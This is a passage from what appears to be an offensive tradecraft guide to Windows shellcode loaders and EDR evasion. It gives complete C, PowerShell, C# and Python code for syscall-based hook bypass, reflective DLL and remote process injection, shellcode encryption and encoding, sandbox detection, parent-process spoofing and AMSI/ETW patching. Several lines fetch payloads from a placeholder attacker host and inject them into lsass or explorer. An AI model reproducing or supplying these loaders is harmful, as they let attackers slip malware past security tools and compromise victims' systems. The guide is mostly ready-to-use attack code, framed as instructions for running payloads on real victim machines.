HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* funcAddr = (BYTE*)GetProcAddress(ntdll, funcName);
// x64 syscall stub pattern: mov r10,rcx / mov eax,<syscall_num> / syscall
// Bytes: 4C 8B D1 B8 [XX XX 00 00] 0F 05
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&
funcAddr[3] == 0xB8) {
// Syscall number is at bytes [4..5]
return *(DWORD*)(funcAddr + 4);
}
// If hooked (EDR replaced first bytes with jmp), search nearby for clean stub
// Halo's Gate: walk forward/backward for nearby syscall numbers
for (int i = 1; i <= 10; i++) {
// Try i instructions forward (functions are close together in ntdll)
BYTE* nearFunc = funcAddr + (i * 32); // ~32 bytes per stub
if (nearFunc[3] == 0xB8) {
return *(DWORD*)(nearFunc + 4) - i; // Adjust for offset
}
}
return 0; // Failed
}
6.4 Indirect Syscalls — FreshyCalls / RecycledGate
What it means: Direct syscalls (syscall instruction in your code) can be detected by EDRs that look for syscall appearing outside of ntdll. Indirect syscalls jump to the syscall instruction INSIDE ntdll (from an unhooked nearby stub), so the instruction appears at the correct address.
// Indirect syscall approach:
// Instead of:
// mov eax, 0x18
// syscall ← EDR flags: syscall outside ntdll!
//
// Do:
// mov eax, 0x18
// jmp [address of syscall instruction inside ntdll] ← looks like ntdll called it!
// The syscall instruction inside ntdll is at a fixed offset from each Nt* function.
// Find it by scanning ntdll memory for 0F 05 (syscall opcode) near each function.
PVOID FindSyscallInstruction(const char* funcName) {
BYTE* funcAddr = (BYTE*)GetProcAddress(
GetModuleHandleA("ntdll.dll"), funcName);
// Scan up to 32 bytes for 'syscall' (0F 05)
for (int i = 0; i < 32; i++) {
if (funcAddr[i] == 0x0F && funcAddr[i+1] == 0x05) {
return funcAddr + i; // Return address OF the syscall instruction in ntdll
}
}
return NULL;
}
7. Reflective DLL Injection
What it means: Inject a specially crafted DLL into a target process without calling LoadLibrary. The DLL contains a "reflective loader" function that manually maps the DLL into memory, resolves imports, and runs DllMain — entirely in userspace, with no file on disk.
[OPSEC] No DLL file on disk. No LoadLibrary call visible. Very stealthy.\
[CS] Cobalt Strike's execute-assembly and most C2 implants use reflective loading.
# ReflectiveDLLInjection (original PoC)
# GitHub: https://github.com/stephenfewer/ReflectiveDLLInjection
git clone https://github.com/stephenfewer/ReflectiveDLLInjection
// Reflective DLL: src/ReflectiveDll.c (simplified concept)
// The DLL exports a function called ReflectiveLoader
// When invoked (by your injector), it:
// 1. Finds its own base address
// 2. Parses its own PE headers
// 3. Maps all sections into new memory
// 4. Resolves its import table (loads dependencies)
// 5. Applies relocations
// 6. Calls DllMain
// Injector side (inject_reflective_dll.c):
#include <windows.h>
#include "ReflectiveDLLInjection.h"
int main(void) {
DWORD pid = 1234; // target PID
// 1. Read DLL from disk (or embed as byte array)
HANDLE hFile = CreateFileA("reflective.dll", GENERIC_READ, 0,
NULL, OPEN_EXISTING, 0, NULL);
DWORD dllSize = GetFileSize(hFile, NULL);
BYTE* dllBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, dllSize);
DWORD read;
ReadFile(hFile, dllBuf, dllSize, &read, NULL);
CloseHandle(hFile);
// 2. Find offset of ReflectiveLoader export in DLL buffer
DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuf); // from lib
// 3. Open target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Write DLL into remote process memory
LPVOID remoteMem = VirtualAllocEx(hProc, NULL, dllSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T written;
WriteProcessMemory(hProc, remoteMem, dllBuf, dllSize, &written);
// 5. Create thread at ReflectiveLoader entry point (not DllMain!)
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset),
remoteMem, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProc);
HeapFree(GetProcessHeap(), 0, dllBuf);
return 0;
}
# Reflective injection via PowerSploit (PowerShell)
Import-Module PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
# Inject PE (EXE or DLL) into current process
Invoke-ReflectivePEInjection -PEPath C:\Tools\payload.dll
# Inject into remote process
$PEBytes = [System.IO.File]::ReadAllBytes("C:\payload.dll")
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass
# Download and inject from URL (nothing on disk!)
$bytes = (New-Object Net.WebClient).DownloadData("http://ATTACKER/payload.dll")
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcName explorer
8. PE Injection & PE Stomping
What it means: Rather than injecting raw shellcode, inject a full PE (EXE or DLL) file into another process's memory. PE stomping maps a new PE over an existing in-memory module to blend in with legitimate loaded DLLs.
// Simple PE injection (inject EXE into target process memory)
// For full PE injection with reloc fixup, use SharpSploit or PowerSploit's module
// PE Stomping concept:
// 1. Load a legitimate DLL (e.g., clrjit.dll)
// 2. Overwrite its .text section with your shellcode
// 3. Execute — memory scanner sees legitimate DLL backing the pages
// Donut-based PE → Shellcode conversion (see Section 15)
// Donut converts any PE (EXE/DLL) into PIC shellcode you can inject
// Usage: donut.exe -f payload.exe -o shellcode.bin
// Then use the shellcode with any injection technique above
9. Shellcode Obfuscation & Encryption
What it means: AV/EDR engines perform static analysis on your loader binary. If the shellcode blob is stored in plaintext, it will be detected. Encrypt or encode the shellcode in the loader, decrypt at runtime in memory, then execute. This defeats all static detection of the payload itself.
9.1 XOR Encryption
// Simple XOR — fast, but very weak. Use as one layer among many.
// Encrypt (Python — run on attacker machine):
python3 -c "
import sys
key = 0x41 # single-byte XOR key
data = open('shell.bin','rb').read()
enc = bytes(b ^ key for b in data)
open('shell.enc','wb').write(enc)
print('Encrypted', len(enc), 'bytes')
"
// Multi-byte XOR key (stronger):
python3 -c "
import sys
key = b'\\xDE\\xAD\\xBE\\xEF' # 4-byte key
data = open('shell.bin','rb').read()
enc = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
open('shell.enc','wb').write(enc)
"
// XOR Decrypt in loader (C):
unsigned char enc_shellcode[] = { /* encrypted bytes */ };
unsigned int enc_len = sizeof(enc_shellcode);
char key[] = "\xDE\xAD\xBE\xEF";
int key_len = 4;
void xor_decrypt(unsigned char* buf, unsigned int len, char* key, int klen) {
for (unsigned int i = 0; i < len; i++) {
buf[i] ^= key[i % klen];
}
}
int main(void) {
// Allocate RW
LPVOID mem = VirtualAlloc(NULL, enc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, enc_shellcode, enc_len);
// Decrypt in memory
xor_decrypt((unsigned char*)mem, enc_len, key, key_len);
// Change to RX then execute
DWORD old;
VirtualProtect(mem, enc_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
9.2 AES Encryption (Strongest Static Bypass)
# Encrypt shellcode with AES-256-CBC (Python, on attacker)
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32) # 256-bit key
iv = os.urandom(16) # 128-bit IV
shellcode = open('shell.bin', 'rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('shell.enc', 'wb').write(enc)
print(f'Key: {key.hex()}')
print(f'IV: {iv.hex()}')
print(f'Encrypted {len(enc)} bytes')
// AES decrypt in C loader (using Windows CNG API — no extra dependencies!)
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
// AES-256-CBC decrypt using Windows BCrypt
BOOL AESDecrypt(BYTE* key, BYTE* iv, BYTE* ciphertext, DWORD ct_len, BYTE** plaintext, DWORD* pt_len) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);
DWORD outLen = 0;
BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, NULL, 0, &outLen, BCRYPT_BLOCK_PADDING);
*plaintext = (BYTE*)HeapAlloc(GetProcessHeap(), 0, outLen);
BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, *plaintext, outLen, pt_len, BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
// Embed encrypted shellcode + key + IV as byte arrays
unsigned char aes_key[] = { /* 32 bytes */ };
unsigned char aes_iv[] = { /* 16 bytes */ };
unsigned char enc_sc[] = { /* encrypted shellcode bytes */ };
int main(void) {
BYTE* decrypted;
DWORD dec_len;
AESDecrypt(aes_key, aes_iv, enc_sc, sizeof(enc_sc), &decrypted, &dec_len);
LPVOID mem = VirtualAlloc(NULL, dec_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, decrypted, dec_len);
HeapFree(GetProcessHeap(), 0, decrypted);
DWORD old;
VirtualProtect(mem, dec_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
9.3 UUID Shellcode Encoding
What it means: Encode shellcode as an array of UUID strings. UUIDs look completely benign in static analysis. At runtime, convert UUIDs back to bytes and load them into memory via UuidFromStringA.
# Encode shellcode as UUIDs (Python, attacker side)
import uuid
shellcode = open('shell.bin', 'rb').read()
# Pad to multiple of 16 bytes
padding = (16 - len(shellcode) % 16) % 16
shellcode += b'\x90' * padding # NOP padding
uuids = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# UUID format: 4-2-2-2-6 bytes
u = '{:08x}-{:04x}-{:04x}-{:04x}-{:012x}'.format(
int.from_bytes(chunk[0:4], 'little'),
int.from_bytes(chunk[4:6], 'little'),
int.from_bytes(chunk[6:8], 'little'),
int.from_bytes(chunk[8:10], 'big'),
int.from_bytes(chunk[10:], 'big')
)
uuids.append(f'"{u}"')
print(f'const char* uuids[] = {{\n ' + ',\n '.join(uuids) + '\n};')
print(f'int uuid_count = {len(uuids)};')
// UUID loader (C):
#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")
const char* uuids[] = {
"90909090-9090-9090-9090-909090909090", // Example UUIDs
// ... generated by script above
};
int uuid_count = 1;
int main(void) {
// Allocate RW memory for shellcode (16 bytes per UUID)
SIZE_T sc_len = uuid_count * 16;
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Convert each UUID back to 16 bytes and write into memory
BYTE* ptr = (BYTE*)mem;
for (int i = 0; i < uuid_count; i++) {
UUID uuid;
UuidFromStringA((RPC_CSTR)uuids[i], &uuid);
memcpy(ptr, &uuid, 16);
ptr += 16;
}
// Change to RX and execute
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
9.4 MAC Address Encoding
What it means: Encode shellcode as fake MAC address strings. Decode at runtime using RtlEthernetStringToAddressA.
# Encode as MAC addresses (Python)
shellcode = open('shell.bin', 'rb').read()
# Pad to multiple of 6
padding = (6 - len(shellcode) % 6) % 6
shellcode += b'\x90' * padding
macs = []
for i in range(0, len(shellcode), 6):
chunk = shellcode[i:i+6]
mac = ':'.join(f'{b:02x}' for b in chunk)
macs.append(f'"{mac}"')
print('const char* macs[] = {\n ' + ',\n '.join(macs) + '\n};')
print(f'int mac_count = {len(macs)};')
// MAC address loader (C):
#include <windows.h>
typedef NTSTATUS (NTAPI* RtlEthernetStringToAddressA_t)(PCSTR, PCSTR*, void*);
const char* macs[] = {
"90:90:90:90:90:90", // Example
// ... from Python script
};
int mac_count = 1;
int main(void) {
SIZE_T sc_len = mac_count * 6;
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlEthernetStringToAddressA_t RtlEthernetStringToAddressA =
(RtlEthernetStringToAddressA_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "RtlEthernetStringToAddressA");
BYTE* ptr = (BYTE*)mem;
for (int i = 0; i < mac_count; i++) {
PCSTR terminator;
RtlEthernetStringToAddressA(macs[i], &terminator, ptr);
ptr += 6;
}
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
9.5 IPv4 / IPv6 Encoding
# IPv4 encoding (4 bytes per address)
shellcode = open('shell.bin', 'rb').read()
padding = (4 - len(shellcode) % 4) % 4
shellcode += b'\x90' * padding
ips = []
for i in range(0, len(shellcode), 4):
ip = '.'.join(str(b) for b in shellcode[i:i+4])
ips.append(f'"{ip}"')
print('const char* ips[] = {\n ' + ',\n '.join(ips) + '\n};')
# IPv6 encoding (16 bytes per address — same efficiency as UUID)
import struct
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
parts = [chunk[j:j+2].hex() for j in range(0, 16, 2)]
ipv6 = ':'.join(parts)
ips.append(f'"{ipv6}"')
// IPv4 loader:
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
const char* ips[] = { "144.144.144.144", /* ... */ };
int ip_count = 1;
int main(void) {
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SIZE_T sc_len = ip_count * 4;
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
BYTE* ptr = (BYTE*)mem;
for (int i = 0; i < ip_count; i++) {
IN_ADDR addr;
inet_pton(AF_INET, ips[i], &addr);
memcpy(ptr, &addr, 4);
ptr += 4;
}
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
10. Sandbox Evasion in Loaders
What it means: Automated AV sandboxes run your loader in an isolated environment to detect behavior. A loader with sandbox evasion checks aborts execution if it detects a sandbox, then runs the real payload only on real victim machines.
10.1 Sleep-Based Evasion
#include <windows.h>
// Sandboxes often accelerate time (skip Sleep) to get results faster
// Check if requested sleep time was actually honored
BOOL SandboxSleepCheck(DWORD ms) {
DWORD start = GetTickCount();
Sleep(ms);
DWORD elapsed = GetTickCount() - start;
// If less than 75% of sleep time passed, we're in a sandbox!
return (elapsed >= (ms * 75 / 100));
}
int main(void) {
if (!SandboxSleepCheck(5000)) { // 5 second sleep
// Sandbox detected — exit silently
return 0;
}
// Real system — run payload
// ...
}
10.2 Environment Checks
#include <windows.h>
#include <stdio.h>
BOOL IsSandbox(void) {
// Check 1: Low number of CPU cores (sandboxes often have 1-2)
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors <= 2) return TRUE;
// Check 2: Low RAM (sandboxes often have < 4GB)
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < (DWORDLONG)4 * 1024 * 1024 * 1024) return TRUE;
// Check 3: Recent system uptime (sandbox just booted)
DWORD uptime = GetTickCount();
if (uptime < 5 * 60 * 1000) return TRUE; // < 5 minutes uptime
// Check 4: Check for sandbox-specific processes
const char* sandbox_procs[] = {
"vmsrvc.exe", "vmusrvc.exe", // VirtualBox
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe", // VMware
"vboxservice.exe", "vboxtray.exe", // VirtualBox
"sandboxiedcomlaunch.exe", "sandboxierpcss.exe", // Sandboxie
"procmon.exe", "procmon64.exe", // Sysinternals ProcMon
"wireshark.exe", "tcpview.exe", // Network monitoring
"ollydbg.exe", "x64dbg.exe", "windbg.exe", // Debuggers
NULL
};
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
while (Process32Next(hSnap, &pe)) {
for (int i = 0; sandbox_procs[i]; i++) {
if (_stricmp(pe.szExeFile, sandbox_procs[i]) == 0) {
CloseHandle(hSnap);
return TRUE;
}
}
}
CloseHandle(hSnap);
// Check 5: Username is a known sandbox indicator
char user[256];
DWORD userLen = sizeof(user);
GetUserNameA(user, &userLen);
if (_stricmp(user, "sandbox") == 0 || _stricmp(user, "maltest") == 0 ||
_stricmp(user, "virus") == 0 || _stricmp(user, "john") == 0) return TRUE;
// Check 6: Screen resolution (sandboxes often use low res)
if (GetSystemMetrics(SM_CXSCREEN) <= 800 ||
GetSystemMetrics(SM_CYSCREEN) <= 600) return TRUE;
// Check 7: Cursor has not moved (no real user)
POINT pt1, pt2;
GetCursorPos(&pt1);
Sleep(2000);
GetCursorPos(&pt2);
if (pt1.x == pt2.x && pt1.y == pt2.y) return TRUE; // Cursor didn't move
// Check 8: Domain check (deploy only in target org)
// char domain[256]; DWORD dlen = sizeof(domain);
// GetComputerNameExA(ComputerNameDnsDomain, domain, &dlen);
// if (_stricmp(domain, "corp.local") != 0) return TRUE;
return FALSE;
}
int main(void) {
if (IsSandbox()) {
// Appear harmless — do something benign
MessageBoxA(NULL, "An error occurred.", "Error", MB_OK);
return 0;
}
// Real host — run payload
}
10.3 Parent Process Spoofing
What it means: Spoof the parent process of your spawned payload so it appears to be spawned by a legitimate process (e.g., spawned from explorer.exe instead of your loader.exe).
[OPSEC] EDRs check parent-child process relationships. Spoofing the PPID makes the chain look legitimate.
#include <windows.h>
int SpawnWithSpoofedParent(const char* target, const char* parentName) {
// 1. Find PID of "parent" to spoof (e.g., explorer.exe)
DWORD parentPID = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
while (Process32Next(hSnap, &pe)) {
if (_stricmp(pe.szExeFile, parentName) == 0) {
parentPID = pe.th32ProcessID;
break;
}
}
CloseHandle(hSnap);
// 2. Open the "fake parent" process
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
// 3. Create process attribute list with spoofed parent
SIZE_T attrSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST attrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(attrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
// 4. Spawn process with spoofed parent
STARTUPINFOEXW si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessW(NULL, (LPWSTR)target, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hParent);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
// Usage: spawn calc.exe appearing as child of explorer.exe
// SpawnWithSpoofedParent("C:\\Windows\\System32\\calc.exe", "explorer.exe");
11. Memory Permission Tricks (RX/RW Separation)
What it means: Modern EDRs scan memory for executable regions. If you have a single RWX page, that's a massive red flag. The professional approach is strict separation: allocate RW, write payload, change to RX. Some advanced techniques use two separate allocations so the decryption key and shellcode are never in the same executable region.
#include <windows.h>
// TECHNIQUE: Allocate two regions
// Region A (RW only) → holds encrypted shellcode + decryption key
// Region B (RX only) → receives decrypted shellcode
void TwoRegionLoader(unsigned char* enc_sc, size_t sc_len, char* key, int klen) {
// Region A: RW — hold encrypted data + key
LPVOID regionA = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(regionA, enc_sc, sc_len);
// Region B: RW for now (will become RX after decryption)
LPVOID regionB = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decrypt from A into B
for (size_t i = 0; i < sc_len; i++) {
((unsigned char*)regionB)[i] = ((unsigned char*)regionA)[i] ^ (unsigned char)key[i % klen];
}
// Wipe region A (no longer needed — destroy evidence of encryption key)
SecureZeroMemory(regionA, sc_len);
VirtualFree(regionA, 0, MEM_RELEASE);
// Change B to RX (no write)
DWORD oldProt;
VirtualProtect(regionB, sc_len, PAGE_EXECUTE_READ, &oldProt);
// Execute region B
((void(*)())regionB)();
VirtualFree(regionB, 0, MEM_RELEASE);
}
// TECHNIQUE: Guard page (decoy trap)
// Allocate shellcode with PAGE_GUARD initially
// When any code touches it, guard fires — can use to detect debuggers
LONG WINAPI GuardPageHandler(EXCEPTION_POINTERS* ep) {
if (ep->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
// Remove guard, continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void GuardPageLoader(unsigned char* sc, size_t sc_len) {
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, sc, sc_len);
// Set guard page — any access (including debugger stepping) will fire
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
// Add VEH to handle the initial guard page exception (legitimate execution path)
AddVectoredExceptionHandler(1, GuardPageHandler);
// Execute — first access fires guard exception → handler removes guard → executes normally
((void(*)())mem)();
}
12. ETW & AMSI Bypass in Loaders
What it means: Even when shellcode runs inside a legitimate process, ETW (Event Tracing for Windows) and AMSI can expose it. Patch both at the start of your loader before executing the payload.
#include <windows.h>
// === PATCH AMSI IN CURRENT PROCESS ===
void PatchAMSI(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) return;
FARPROC AmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!AmsiScanBuffer) return;
DWORD oldProt;
VirtualProtect(AmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch: mov eax, 0x80070057; ret (E_INVALIDARG → scan always fails)
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy(AmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(AmsiScanBuffer, 6, oldProt, &oldProt);
}
// === PATCH ETW IN CURRENT PROCESS ===
void PatchETW(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!EtwEventWrite) return;
DWORD oldProt;
VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch: ret (immediately return — no event written)
*(unsigned char*)EtwEventWrite = 0xC3;
VirtualProtect(EtwEventWrite, 1, oldProt, &oldProt);
}
int main(void) {
PatchAMSI();
PatchETW();
// Now load and execute shellcode — no AMSI or ETW telemetry
unsigned char shellcode[] = { /* your payload */ };
// ... rest of loader
return 0;
}
13. PowerShell Shellcode Loaders
What it means: PowerShell loaders use P/Invoke (Add-Type) to call Win32 APIs. While detected by modern EDRs when unsophisticated, combined with AMSI bypass and obfuscation they remain effective. Best for quick one-liners or when you need to avoid dropping an EXE.
13.1 P/Invoke VirtualAlloc Loader
# ─── CLASSIC POWERSHELL LOADER ───
# [DETECT] Caught by most modern AV — obfuscate or combine with AMSI bypass!
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr h, uint m);
"@
$K32 = Add-Type -MemberDefinition $code -Name "K32" -Namespace "Win32" -PassThru
# Download shellcode from URL
$url = "http://ATTACKER_IP:8080/payload.bin"
$wc = New-Object System.Net.WebClient
$shellcode = $wc.DownloadData($url)
# Allocate RW memory
$mem = $K32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x04)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Change to RX (no write)
$oldProt = 0
$K32::VirtualProtect($mem, $shellcode.Length, 0x20, [ref]$oldProt) # 0x20 = PAGE_EXECUTE_READ
# Execute in thread
$tid = 0
$hThread = $K32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$K32::WaitForSingleObject($hThread, 0xFFFFFFFF)
13.2 PowerShell + AMSI Bypass + Loader (One Block)
# STEP 1: Bypass AMSI (obfuscated)
$a = [Ref].Assembly.GetTypes()
ForEach ($b in $a) { if ($b.Name -like '*iUtils') { $c = $b } }
$d = $c.GetFields('NonPublic,Static')
ForEach ($e in $d) { if ($e.Name -like '*Context') { $f = $e } }
$g = $f.GetValue($null); $ptr = [IntPtr]$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# STEP 2: Define Win32 API
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr a,uint s,uint p,out uint o);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,out uint t);
[DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr h,uint m);
"@
$w = Add-Type -MemberDefinition $code -Name "W" -Namespace "Win32" -PassThru
# STEP 3: XOR-encrypted shellcode (bytes — XOR key 0x41)
# Generate with: msfvenom ... -f raw | python3 -c "import sys;d=sys.stdin.buffer.read();print(','.join(str(b^0x41) for b in d))"
[Byte[]] $enc = 0xD1,0xD1,0xD1,0x82 # placeholder XOR'd bytes
# STEP 4: Decrypt
$key = 0x41
[Byte[]] $sc = $enc | ForEach-Object { $_ -bxor $key }
# STEP 5: Allocate, copy, protect, execute
$mem = $w::VirtualAlloc([IntPtr]::Zero, $sc.Length, 0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)
$o = 0; $w::VirtualProtect($mem, $sc.Length, 0x20, [ref]$o)
$tid = 0; $ht = $w::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$w::WaitForSingleObject($ht, 0xFFFFFFFF)
13.3 PowerShell Process Injection (Into Remote Process)
# Inject shellcode into a remote process from PowerShell
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint a,bool b,uint c);
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h,IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] d,uint s,out uint w);
[DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr h,IntPtr a,uint s,uint p,out uint o);
[DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h,IntPtr a,uint s,IntPtr f,IntPtr p,uint c,out uint t);
"@
$K = Add-Type -MemberDefinition $code -Name "K" -Namespace "W" -PassThru
# Target process
$proc = Get-Process explorer | Select-Object -First 1
$pid = $proc.Id
# Shellcode bytes (XOR-encrypted, decoded above or inline)
[Byte[]] $sc = @(0x90, 0x90, 0xC3) # placeholder
# Open, allocate, write, protect, inject
$hProc = $K::OpenProcess(0x1F0FFF, $false, $pid)
$rMem = $K::VirtualAllocEx($hProc, [IntPtr]::Zero, $sc.Length, 0x3000, 0x04)
$writ = 0
$K::WriteProcessMemory($hProc, $rMem, $sc, $sc.Length, [ref]$writ)
$old = 0
$K::VirtualProtectEx($hProc, $rMem, $sc.Length, 0x20, [ref]$old)
$tid = 0
$K::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $rMem, [IntPtr]::Zero, 0, [ref]$tid)
14. C# / .NET Shellcode Loaders
What it means: C# loaders run as .NET assemblies — injectable via execute-assembly in Cobalt Strike or similar C2 frameworks. No PowerShell involved, so no Script Block Logging. Combine with AMSI bypass and direct syscalls for maximum stealth.
14.1 Basic C# Shellcode Loader (P/Invoke)
using System;
using System.Runtime.InteropServices;
class ShellcodeLoader {
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr h, uint m);
static byte[] shellcode = new byte[] {
0x90, 0x90, 0xC3 // placeholder NOP NOP RET
// Replace with real shellcode
};
static void Main(string[] args) {
// Decrypt shellcode if encrypted
// for (int i = 0; i < shellcode.Length; i++) shellcode[i] ^= 0x41;
// Allocate RW
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x04); // MEM_COMMIT|RESERVE, PAGE_READWRITE
// Copy
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// RX
uint oldProt;
VirtualProtect(mem, (uint)shellcode.Length, 0x20, out oldProt); // PAGE_EXECUTE_READ
// Execute
uint tid;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out tid);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
